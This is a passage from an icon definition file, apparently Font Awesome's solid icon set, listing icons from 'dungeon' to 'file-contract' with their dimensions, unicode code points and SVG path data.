0-13.7 5-15.5 12.1l-24 96C-2 150.2 5.6 160 16 160zm324.6 32H32l4 32H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h28l20 160v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h208.8c-30.2-33.7-48.8-77.9-48.8-126.4 0-35.9 19.9-82.9 52.6-129.6zm210.5-28.8c-14.9 13.3-28.3 27.2-40.2 41.2-19.5-25.8-43.6-52-71-76.4-70.2 62.7-120 144.3-120 193.6 0 87.5 71.6 158.4 160 158.4s160-70.9 160-158.4c.1-36.6-37-112.2-88.8-158.4zm-18.6 229.4c-14.7 10.7-32.9 17-52.5 17-49 0-88.9-33.5-88.9-88 0-27.1 16.5-51 49.4-91.9 4.7 5.6 67.1 88.1 67.1 88.1l39.8-47c2.8 4.8 5.4 9.5 7.7 14 18.6 36.7 10.8 83.6-22.6 107.8z" ], + dungeon: [ 512, 512, [], "f6d9", "M128.73 195.32l-82.81-51.76c-8.04-5.02-18.99-2.17-22.93 6.45A254.19 254.19 0 0 0 .54 239.28C-.05 248.37 7.59 256 16.69 256h97.13c7.96 0 14.08-6.25 15.01-14.16 1.09-9.33 3.24-18.33 6.24-26.94 2.56-7.34.25-15.46-6.34-19.58zM319.03 8C298.86 2.82 277.77 0 256 0s-42.86 2.82-63.03 8c-9.17 2.35-13.91 12.6-10.39 21.39l37.47 104.03A16.003 16.003 0 0 0 235.1 144h41.8c6.75 0 12.77-4.23 15.05-10.58l37.47-104.03c3.52-8.79-1.22-19.03-10.39-21.39zM112 288H16c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm0 128H16c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm77.31-283.67l-36.32-90.8c-3.53-8.83-14.13-12.99-22.42-8.31a257.308 257.308 0 0 0-71.61 59.89c-6.06 7.32-3.85 18.48 4.22 23.52l82.93 51.83c6.51 4.07 14.66 2.62 20.11-2.79 5.18-5.15 10.79-9.85 16.79-14.05 6.28-4.41 9.15-12.17 6.3-19.29zM398.18 256h97.13c9.1 0 16.74-7.63 16.15-16.72a254.135 254.135 0 0 0-22.45-89.27c-3.94-8.62-14.89-11.47-22.93-6.45l-82.81 51.76c-6.59 4.12-8.9 12.24-6.34 19.58 3.01 8.61 5.15 17.62 6.24 26.94.93 7.91 7.05 14.16 15.01 14.16zm54.85-162.89a257.308 257.308 0 0 0-71.61-59.89c-8.28-4.68-18.88-.52-22.42 8.31l-36.32 90.8c-2.85 7.12.02 14.88 6.3 19.28 6 4.2 11.61 8.9 16.79 14.05 5.44 5.41 13.6 6.86 20.11 2.79l82.93-51.83c8.07-5.03 10.29-16.19 4.22-23.51zM496 288h-96c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm0 128h-96c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zM240 177.62V472c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8V177.62c-5.23-.89-10.52-1.62-16-1.62s-10.77.73-16 1.62zm-64 41.51V472c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8V189.36c-12.78 7.45-23.84 17.47-32 29.77zm128-29.77V472c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8V219.13c-8.16-12.3-19.22-22.32-32-29.77z" ], + edit: [ 576, 512, [], "f044", "M402.6 83.2l90.2 90.2c3.8 3.8 3.8 10 0 13.8L274.4 405.6l-92.8 10.3c-12.4 1.4-22.9-9.1-21.5-21.5l10.3-92.8L388.8 83.2c3.8-3.8 10-3.8 13.8 0zm162-22.9l-48.8-48.8c-15.2-15.2-39.9-15.2-55.2 0l-35.4 35.4c-3.8 3.8-3.8 10 0 13.8l90.2 90.2c3.8 3.8 10 3.8 13.8 0l35.4-35.4c15.2-15.3 15.2-40 0-55.2zM384 346.2V448H64V128h229.8c3.2 0 6.2-1.3 8.5-3.5l40-40c7.6-7.6 2.2-20.5-8.5-20.5H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V306.2c0-10.7-12.9-16-20.5-8.5l-40 40c-2.2 2.3-3.5 5.3-3.5 8.5z" ], + egg: [ 384, 512, [], "f7fb", "M192 0C86 0 0 214 0 320s86 192 192 192 192-86 192-192S298 0 192 0z" ], + eject: [ 448, 512, [], "f052", "M448 384v64c0 17.673-14.327 32-32 32H32c-17.673 0-32-14.327-32-32v-64c0-17.673 14.327-32 32-32h384c17.673 0 32 14.327 32 32zM48.053 320h351.886c41.651 0 63.581-49.674 35.383-80.435L259.383 47.558c-19.014-20.743-51.751-20.744-70.767 0L12.67 239.565C-15.475 270.268 6.324 320 48.053 320z" ], + "ellipsis-h": [ 512, 512, [], "f141", "M328 256c0 39.8-32.2 72-72 72s-72-32.2-72-72 32.2-72 72-72 72 32.2 72 72zm104-72c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72zm-352 0c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72z" ], + "ellipsis-v": [ 192, 512, [], "f142", "M96 184c39.8 0 72 32.2 72 72s-32.2 72-72 72-72-32.2-72-72 32.2-72 72-72zM24 80c0 39.8 32.2 72 72 72s72-32.2 72-72S135.8 8 96 8 24 40.2 24 80zm0 352c0 39.8 32.2 72 72 72s72-32.2 72-72-32.2-72-72-72-72 32.2-72 72z" ], + envelope: [ 512, 512, [], "f0e0", "M502.3 190.8c3.9-3.1 9.7-.2 9.7 4.7V400c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V195.6c0-5 5.7-7.8 9.7-4.7 22.4 17.4 52.1 39.5 154.1 113.6 21.1 15.4 56.7 47.8 92.2 47.6 35.7.3 72-32.8 92.3-47.6 102-74.1 131.6-96.3 154-113.7zM256 320c23.2.4 56.6-29.2 73.4-41.4 132.7-96.3 142.8-104.7 173.4-128.7 5.8-4.5 9.2-11.5 9.2-18.9v-19c0-26.5-21.5-48-48-48H48C21.5 64 0 85.5 0 112v19c0 7.4 3.4 14.3 9.2 18.9 30.6 23.9 40.7 32.4 173.4 128.7 16.8 12.2 50.2 41.8 73.4 41.4z" ], + "envelope-open": [ 512, 512, [], "f2b6", "M512 464c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V200.724a48 48 0 0 1 18.387-37.776c24.913-19.529 45.501-35.365 164.2-121.511C199.412 29.17 232.797-.347 256 .003c23.198-.354 56.596 29.172 73.413 41.433 118.687 86.137 139.303 101.995 164.2 121.512A48 48 0 0 1 512 200.724V464zm-65.666-196.605c-2.563-3.728-7.7-4.595-11.339-1.907-22.845 16.873-55.462 40.705-105.582 77.079-16.825 12.266-50.21 41.781-73.413 41.43-23.211.344-56.559-29.143-73.413-41.43-50.114-36.37-82.734-60.204-105.582-77.079-3.639-2.688-8.776-1.821-11.339 1.907l-9.072 13.196a7.998 7.998 0 0 0 1.839 10.967c22.887 16.899 55.454 40.69 105.303 76.868 20.274 14.781 56.524 47.813 92.264 47.573 35.724.242 71.961-32.771 92.263-47.573 49.85-36.179 82.418-59.97 105.303-76.868a7.998 7.998 0 0 0 1.839-10.967l-9.071-13.196z" ], + "envelope-open-text": [ 512, 512, [], "f658", "M176 216h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16H176c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16zm-16 80c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16H176c-8.84 0-16 7.16-16 16v16zm96 121.13c-16.42 0-32.84-5.06-46.86-15.19L0 250.86V464c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V250.86L302.86 401.94c-14.02 10.12-30.44 15.19-46.86 15.19zm237.61-254.18c-8.85-6.94-17.24-13.47-29.61-22.81V96c0-26.51-21.49-48-48-48h-77.55c-3.04-2.2-5.87-4.26-9.04-6.56C312.6 29.17 279.2-.35 256 0c-23.2-.35-56.59 29.17-73.41 41.44-3.17 2.3-6 4.36-9.04 6.56H96c-26.51 0-48 21.49-48 48v44.14c-12.37 9.33-20.76 15.87-29.61 22.81A47.995 47.995 0 0 0 0 200.72v10.65l96 69.35V96h320v184.72l96-69.35v-10.65c0-14.74-6.78-28.67-18.39-37.77z" ], + "envelope-square": [ 448, 512, [], "f199", "M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM178.117 262.104C87.429 196.287 88.353 196.121 64 177.167V152c0-13.255 10.745-24 24-24h272c13.255 0 24 10.745 24 24v25.167c-24.371 18.969-23.434 19.124-114.117 84.938-10.5 7.655-31.392 26.12-45.883 25.894-14.503.218-35.367-18.227-45.883-25.895zM384 217.775V360c0 13.255-10.745 24-24 24H88c-13.255 0-24-10.745-24-24V217.775c13.958 10.794 33.329 25.236 95.303 70.214 14.162 10.341 37.975 32.145 64.694 32.01 26.887.134 51.037-22.041 64.72-32.025 61.958-44.965 81.325-59.406 95.283-70.199z" ], + equals: [ 448, 512, [], "f52c", "M416 304H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32zm0-192H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z" ], + eraser: [ 512, 512, [], "f12d", "M497.941 273.941c18.745-18.745 18.745-49.137 0-67.882l-160-160c-18.745-18.745-49.136-18.746-67.883 0l-256 256c-18.745 18.745-18.745 49.137 0 67.882l96 96A48.004 48.004 0 0 0 144 480h356c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12H355.883l142.058-142.059zm-302.627-62.627l137.373 137.373L265.373 416H150.628l-80-80 124.686-124.686z" ], + ethernet: [ 512, 512, [], "f796", "M496 192h-48v-48c0-8.8-7.2-16-16-16h-48V80c0-8.8-7.2-16-16-16H144c-8.8 0-16 7.2-16 16v48H80c-8.8 0-16 7.2-16 16v48H16c-8.8 0-16 7.2-16 16v224c0 8.8 7.2 16 16 16h80V320h32v128h64V320h32v128h64V320h32v128h64V320h32v128h80c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16z" ], + "euro-sign": [ 320, 512, [], "f153", "M310.706 413.765c-1.314-6.63-7.835-10.872-14.424-9.369-10.692 2.439-27.422 5.413-45.426 5.413-56.763 0-101.929-34.79-121.461-85.449h113.689a12 12 0 0 0 11.708-9.369l6.373-28.36c1.686-7.502-4.019-14.631-11.708-14.631H115.22c-1.21-14.328-1.414-28.287.137-42.245H261.95a12 12 0 0 0 11.723-9.434l6.512-29.755c1.638-7.484-4.061-14.566-11.723-14.566H130.184c20.633-44.991 62.69-75.03 117.619-75.03 14.486 0 28.564 2.25 37.851 4.145 6.216 1.268 12.347-2.498 14.002-8.623l11.991-44.368c1.822-6.741-2.465-13.616-9.326-14.917C290.217 34.912 270.71 32 249.635 32 152.451 32 74.03 92.252 45.075 176H12c-6.627 0-12 5.373-12 12v29.755c0 6.627 5.373 12 12 12h21.569c-1.009 13.607-1.181 29.287-.181 42.245H12c-6.627 0-12 5.373-12 12v28.36c0 6.627 5.373 12 12 12h30.114C67.139 414.692 145.264 480 249.635 480c26.301 0 48.562-4.544 61.101-7.788 6.167-1.595 10.027-7.708 8.788-13.957l-8.818-44.49z" ], + "exchange-alt": [ 512, 512, [], "f362", "M0 168v-16c0-13.255 10.745-24 24-24h360V80c0-21.367 25.899-32.042 40.971-16.971l80 80c9.372 9.373 9.372 24.569 0 33.941l-80 80C409.956 271.982 384 261.456 384 240v-48H24c-13.255 0-24-10.745-24-24zm488 152H128v-48c0-21.314-25.862-32.08-40.971-16.971l-80 80c-9.372 9.373-9.372 24.569 0 33.941l80 80C102.057 463.997 128 453.437 128 432v-48h360c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24z" ], + exclamation: [ 192, 512, [], "f12a", "M176 432c0 44.112-35.888 80-80 80s-80-35.888-80-80 35.888-80 80-80 80 35.888 80 80zM25.26 25.199l13.6 272C39.499 309.972 50.041 320 62.83 320h66.34c12.789 0 23.331-10.028 23.97-22.801l13.6-272C167.425 11.49 156.496 0 142.77 0H49.23C35.504 0 24.575 11.49 25.26 25.199z" ], + "exclamation-circle": [ 512, 512, [], "f06a", "M504 256c0 136.997-111.043 248-248 248S8 392.997 8 256C8 119.083 119.043 8 256 8s248 111.083 248 248zm-248 50c-25.405 0-46 20.595-46 46s20.595 46 46 46 46-20.595 46-46-20.595-46-46-46zm-43.673-165.346l7.418 136c.347 6.364 5.609 11.346 11.982 11.346h48.546c6.373 0 11.635-4.982 11.982-11.346l7.418-136c.375-6.874-5.098-12.654-11.982-12.654h-63.383c-6.884 0-12.356 5.78-11.981 12.654z" ], + "exclamation-triangle": [ 576, 512, [], "f071", "M569.517 440.013C587.975 472.007 564.806 512 527.94 512H48.054c-36.937 0-59.999-40.055-41.577-71.987L246.423 23.985c18.467-32.009 64.72-31.951 83.154 0l239.94 416.028zM288 354c-25.405 0-46 20.595-46 46s20.595 46 46 46 46-20.595 46-46-20.595-46-46-46zm-43.673-165.346l7.418 136c.347 6.364 5.609 11.346 11.982 11.346h48.546c6.373 0 11.635-4.982 11.982-11.346l7.418-136c.375-6.874-5.098-12.654-11.982-12.654h-63.383c-6.884 0-12.356 5.78-11.981 12.654z" ], + expand: [ 448, 512, [], "f065", "M0 180V56c0-13.3 10.7-24 24-24h124c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H64v84c0 6.6-5.4 12-12 12H12c-6.6 0-12-5.4-12-12zM288 44v40c0 6.6 5.4 12 12 12h84v84c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12V56c0-13.3-10.7-24-24-24H300c-6.6 0-12 5.4-12 12zm148 276h-40c-6.6 0-12 5.4-12 12v84h-84c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h124c13.3 0 24-10.7 24-24V332c0-6.6-5.4-12-12-12zM160 468v-40c0-6.6-5.4-12-12-12H64v-84c0-6.6-5.4-12-12-12H12c-6.6 0-12 5.4-12 12v124c0 13.3 10.7 24 24 24h124c6.6 0 12-5.4 12-12z" ], + "expand-alt": [ 448, 512, [], "f424", "M212.686 315.314L120 408l32.922 31.029c15.12 15.12 4.412 40.971-16.97 40.971h-112C10.697 480 0 469.255 0 456V344c0-21.382 25.803-32.09 40.922-16.971L72 360l92.686-92.686c6.248-6.248 16.379-6.248 22.627 0l25.373 25.373c6.249 6.248 6.249 16.378 0 22.627zm22.628-118.628L328 104l-32.922-31.029C279.958 57.851 290.666 32 312.048 32h112C437.303 32 448 42.745 448 56v112c0 21.382-25.803 32.09-40.922 16.971L376 152l-92.686 92.686c-6.248 6.248-16.379 6.248-22.627 0l-25.373-25.373c-6.249-6.248-6.249-16.378 0-22.627z" ], + "expand-arrows-alt": [ 448, 512, [], "f31e", "M448 344v112a23.94 23.94 0 0 1-24 24H312c-21.39 0-32.09-25.9-17-41l36.2-36.2L224 295.6 116.77 402.9 153 439c15.09 15.1 4.39 41-17 41H24a23.94 23.94 0 0 1-24-24V344c0-21.4 25.89-32.1 41-17l36.19 36.2L184.46 256 77.18 148.7 41 185c-15.1 15.1-41 4.4-41-17V56a23.94 23.94 0 0 1 24-24h112c21.39 0 32.09 25.9 17 41l-36.2 36.2L224 216.4l107.23-107.3L295 73c-15.09-15.1-4.39-41 17-41h112a23.94 23.94 0 0 1 24 24v112c0 21.4-25.89 32.1-41 17l-36.19-36.2L263.54 256l107.28 107.3L407 327.1c15.1-15.2 41-4.5 41 16.9z" ], + "external-link-alt": [ 512, 512, [], "f35d", "M432,320H400a16,16,0,0,0-16,16V448H64V128H208a16,16,0,0,0,16-16V80a16,16,0,0,0-16-16H48A48,48,0,0,0,0,112V464a48,48,0,0,0,48,48H400a48,48,0,0,0,48-48V336A16,16,0,0,0,432,320ZM488,0h-128c-21.37,0-32.05,25.91-17,41l35.73,35.73L135,320.37a24,24,0,0,0,0,34L157.67,377a24,24,0,0,0,34,0L435.28,133.32,471,169c15,15,41,4.5,41-17V24A24,24,0,0,0,488,0Z" ], + "external-link-square-alt": [ 448, 512, [], "f360", "M448 80v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48zm-88 16H248.029c-21.313 0-32.08 25.861-16.971 40.971l31.984 31.987L67.515 364.485c-4.686 4.686-4.686 12.284 0 16.971l31.029 31.029c4.687 4.686 12.285 4.686 16.971 0l195.526-195.526 31.988 31.991C358.058 263.977 384 253.425 384 231.979V120c0-13.255-10.745-24-24-24z" ], + eye: [ 576, 512, [], "f06e", "M572.52 241.4C518.29 135.59 410.93 64 288 64S57.68 135.64 3.48 241.41a32.35 32.35 0 0 0 0 29.19C57.71 376.41 165.07 448 288 448s230.32-71.64 284.52-177.41a32.35 32.35 0 0 0 0-29.19zM288 400a144 144 0 1 1 144-144 143.93 143.93 0 0 1-144 144zm0-240a95.31 95.31 0 0 0-25.31 3.79 47.85 47.85 0 0 1-66.9 66.9A95.78 95.78 0 1 0 288 160z" ], + "eye-dropper": [ 512, 512, [], "f1fb", "M50.75 333.25c-12 12-18.75 28.28-18.75 45.26V424L0 480l32 32 56-32h45.49c16.97 0 33.25-6.74 45.25-18.74l126.64-126.62-128-128L50.75 333.25zM483.88 28.12c-37.47-37.5-98.28-37.5-135.75 0l-77.09 77.09-13.1-13.1c-9.44-9.44-24.65-9.31-33.94 0l-40.97 40.97c-9.37 9.37-9.37 24.57 0 33.94l161.94 161.94c9.44 9.44 24.65 9.31 33.94 0L419.88 288c9.37-9.37 9.37-24.57 0-33.94l-13.1-13.1 77.09-77.09c37.51-37.48 37.51-98.26.01-135.75z" ], + "eye-slash": [ 640, 512, [], "f070", "M320 400c-75.85 0-137.25-58.71-142.9-133.11L72.2 185.82c-13.79 17.3-26.48 35.59-36.72 55.59a32.35 32.35 0 0 0 0 29.19C89.71 376.41 197.07 448 320 448c26.91 0 52.87-4 77.89-10.46L346 397.39a144.13 144.13 0 0 1-26 2.61zm313.82 58.1l-110.55-85.44a331.25 331.25 0 0 0 81.25-102.07 32.35 32.35 0 0 0 0-29.19C550.29 135.59 442.93 64 320 64a308.15 308.15 0 0 0-147.32 37.7L45.46 3.37A16 16 0 0 0 23 6.18L3.37 31.45A16 16 0 0 0 6.18 53.9l588.36 454.73a16 16 0 0 0 22.46-2.81l19.64-25.27a16 16 0 0 0-2.82-22.45zm-183.72-142l-39.3-30.38A94.75 94.75 0 0 0 416 256a94.76 94.76 0 0 0-121.31-92.21A47.65 47.65 0 0 1 304 192a46.64 46.64 0 0 1-1.54 10l-73.61-56.89A142.31 142.31 0 0 1 320 112a143.92 143.92 0 0 1 144 144c0 21.63-5.29 41.79-13.9 60.11z" ], + fan: [ 512, 512, [], "f863", "M352.57 128c-28.09 0-54.09 4.52-77.06 12.86l12.41-123.11C289 7.31 279.81-1.18 269.33.13 189.63 10.13 128 77.64 128 159.43c0 28.09 4.52 54.09 12.86 77.06L17.75 224.08C7.31 223-1.18 232.19.13 242.67c10 79.7 77.51 141.33 159.3 141.33 28.09 0 54.09-4.52 77.06-12.86l-12.41 123.11c-1.05 10.43 8.11 18.93 18.59 17.62 79.7-10 141.33-77.51 141.33-159.3 0-28.09-4.52-54.09-12.86-77.06l123.11 12.41c10.44 1.05 18.93-8.11 17.62-18.59-10-79.7-77.51-141.33-159.3-141.33zM256 288a32 32 0 1 1 32-32 32 32 0 0 1-32 32z" ], + "fast-backward": [ 512, 512, [], "f049", "M0 436V76c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v151.9L235.5 71.4C256.1 54.3 288 68.6 288 96v131.9L459.5 71.4C480.1 54.3 512 68.6 512 96v320c0 27.4-31.9 41.7-52.5 24.6L288 285.3V416c0 27.4-31.9 41.7-52.5 24.6L64 285.3V436c0 6.6-5.4 12-12 12H12c-6.6 0-12-5.4-12-12z" ], + "fast-forward": [ 512, 512, [], "f050", "M512 76v360c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12V284.1L276.5 440.6c-20.6 17.2-52.5 2.8-52.5-24.6V284.1L52.5 440.6C31.9 457.8 0 443.4 0 416V96c0-27.4 31.9-41.7 52.5-24.6L224 226.8V96c0-27.4 31.9-41.7 52.5-24.6L448 226.8V76c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12z" ], + faucet: [ 512, 512, [], "e005", "M352,256H313.39c-15.71-13.44-35.46-23.07-57.39-28V180.44l-32-3.38-32,3.38V228c-21.93,5-41.68,14.6-57.39,28H16A16,16,0,0,0,0,272v96a16,16,0,0,0,16,16h92.79C129.38,421.73,173,448,224,448s94.62-26.27,115.21-64H352a32,32,0,0,1,32,32,32,32,0,0,0,32,32h64a32,32,0,0,0,32-32A160,160,0,0,0,352,256ZM81.59,159.91l142.41-15,142.41,15c9.42,1,17.59-6.81,17.59-16.8V112.89c0-10-8.17-17.8-17.59-16.81L256,107.74V80a16,16,0,0,0-16-16H208a16,16,0,0,0-16,16v27.74L81.59,96.08C72.17,95.09,64,102.9,64,112.89v30.22C64,153.1,72.17,160.91,81.59,159.91Z" ], + fax: [ 512, 512, [], "f1ac", "M480 160V77.25a32 32 0 0 0-9.38-22.63L425.37 9.37A32 32 0 0 0 402.75 0H160a32 32 0 0 0-32 32v448a32 32 0 0 0 32 32h320a32 32 0 0 0 32-32V192a32 32 0 0 0-32-32zM288 432a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm0-128a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm128 128a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm0-128a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm0-112H192V64h160v48a16 16 0 0 0 16 16h48zM64 128H32a32 32 0 0 0-32 32v320a32 32 0 0 0 32 32h32a32 32 0 0 0 32-32V160a32 32 0 0 0-32-32z" ], + feather: [ 512, 512, [], "f52d", "M467.14 44.84c-62.55-62.48-161.67-64.78-252.28 25.73-78.61 78.52-60.98 60.92-85.75 85.66-60.46 60.39-70.39 150.83-63.64 211.17l178.44-178.25c6.26-6.25 16.4-6.25 22.65 0s6.25 16.38 0 22.63L7.04 471.03c-9.38 9.37-9.38 24.57 0 33.94 9.38 9.37 24.6 9.37 33.98 0l66.1-66.03C159.42 454.65 279 457.11 353.95 384h-98.19l147.57-49.14c49.99-49.93 36.38-36.18 46.31-46.86h-97.78l131.54-43.8c45.44-74.46 34.31-148.84-16.26-199.36z" ], + "feather-alt": [ 512, 512, [], "f56b", "M512 0C460.22 3.56 96.44 38.2 71.01 287.61c-3.09 26.66-4.84 53.44-5.99 80.24l178.87-178.69c6.25-6.25 16.4-6.25 22.65 0s6.25 16.38 0 22.63L7.04 471.03c-9.38 9.37-9.38 24.57 0 33.94 9.38 9.37 24.59 9.37 33.98 0l57.13-57.07c42.09-.14 84.15-2.53 125.96-7.36 53.48-5.44 97.02-26.47 132.58-56.54H255.74l146.79-48.88c11.25-14.89 21.37-30.71 30.45-47.12h-81.14l106.54-53.21C500.29 132.86 510.19 26.26 512 0z" ], + female: [ 256, 512, [], "f182", "M128 0c35.346 0 64 28.654 64 64s-28.654 64-64 64c-35.346 0-64-28.654-64-64S92.654 0 128 0m119.283 354.179l-48-192A24 24 0 0 0 176 144h-11.36c-22.711 10.443-49.59 10.894-73.28 0H80a24 24 0 0 0-23.283 18.179l-48 192C4.935 369.305 16.383 384 32 384h56v104c0 13.255 10.745 24 24 24h32c13.255 0 24-10.745 24-24V384h56c15.591 0 27.071-14.671 23.283-29.821z" ], + "fighter-jet": [ 640, 512, [], "f0fb", "M544 224l-128-16-48-16h-24L227.158 44h39.509C278.333 44 288 41.375 288 38s-9.667-6-21.333-6H152v12h16v164h-48l-66.667-80H18.667L8 138.667V208h8v16h48v2.666l-64 8v42.667l64 8V288H16v16H8v69.333L18.667 384h34.667L120 304h48v164h-16v12h114.667c11.667 0 21.333-2.625 21.333-6s-9.667-6-21.333-6h-39.509L344 320h24l48-16 128-16c96-21.333 96-26.583 96-32 0-5.417 0-10.667-96-32z" ], + file: [ 384, 512, [], "f15b", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm160-14.1v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z" ], + "file-alt": [ 384, 512, [], "f15c", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm64 236c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-8c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12v8zm0-64c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-8c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12v8zm0-72v8c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-8c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12zm96-114.1v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z" ], + "file-archive": [ 384, 512, [], "f1c6", "M377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zM128.4 336c-17.9 0-32.4 12.1-32.4 27 0 15 14.6 27 32.5 27s32.4-12.1 32.4-27-14.6-27-32.5-27zM224 136V0h-63.6v32h-32V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM95.9 32h32v32h-32zm32.3 384c-33.2 0-58-30.4-51.4-62.9L96.4 256v-32h32v-32h-32v-32h32v-32h-32V96h32V64h32v32h-32v32h32v32h-32v32h32v32h-32v32h22.1c5.7 0 10.7 4.1 11.8 9.7l17.3 87.7c6.4 32.4-18.4 62.6-51.4 62.6z" ], + "file-audio": [ 384, 512, [], "f1c7", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm-64 268c0 10.7-12.9 16-20.5 8.5L104 376H76c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h28l35.5-36.5c7.6-7.6 20.5-2.2 20.5 8.5v136zm33.2-47.6c9.1-9.3 9.1-24.1 0-33.4-22.1-22.8 12.2-56.2 34.4-33.5 27.2 27.9 27.2 72.4 0 100.4-21.8 22.3-56.9-10.4-34.4-33.5zm86-117.1c54.4 55.9 54.4 144.8 0 200.8-21.8 22.4-57-10.3-34.4-33.5 36.2-37.2 36.3-96.5 0-133.8-22.1-22.8 12.3-56.3 34.4-33.5zM384 121.9v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z" ], + "file-code": [ 384, 512, [], "f1c9", "M384 121.941V128H256V0h6.059c6.365 0 12.47 2.529 16.971 7.029l97.941 97.941A24.005 24.005 0 0 1 384 121.941zM248 160c-13.2 0-24-10.8-24-24V0H24C10.745 0 0 10.745 0 24v464c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V160H248zM123.206 400.505a5.4 5.4 0 0 1-7.633.246l-64.866-60.812a5.4 5.4 0 0 1 0-7.879l64.866-60.812a5.4 5.4 0 0 1 7.633.246l19.579 20.885a5.4 5.4 0 0 1-.372 7.747L101.65 336l40.763 35.874a5.4 5.4 0 0 1 .372 7.747l-19.579 20.884zm51.295 50.479l-27.453-7.97a5.402 5.402 0 0 1-3.681-6.692l61.44-211.626a5.402 5.402 0 0 1 6.692-3.681l27.452 7.97a5.4 5.4 0 0 1 3.68 6.692l-61.44 211.626a5.397 5.397 0 0 1-6.69 3.681zm160.792-111.045l-64.866 60.812a5.4 5.4 0 0 1-7.633-.246l-19.58-20.885a5.4 5.4 0 0 1 .372-7.747L284.35 336l-40.763-35.874a5.4 5.4 0 0 1-.372-7.747l19.58-20.885a5.4 5.4 0 0 1 7.633-.246l64.866 60.812a5.4 5.4 0 0 1-.001 7.879z" ], + "file-contract": [ 384, 512, [], "f56c", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM64 72c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8V72zm0 64c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zm192.81 248H304c8.84 0 16 7.16 16 16s-7.16 16-16 16h-47.19c-16.45 0-31.27-9.14-38.64-23.86-2.95-5.92-8.09-6.52-10.17-6.52s-7.22.59-10.02 6.19l-7.67 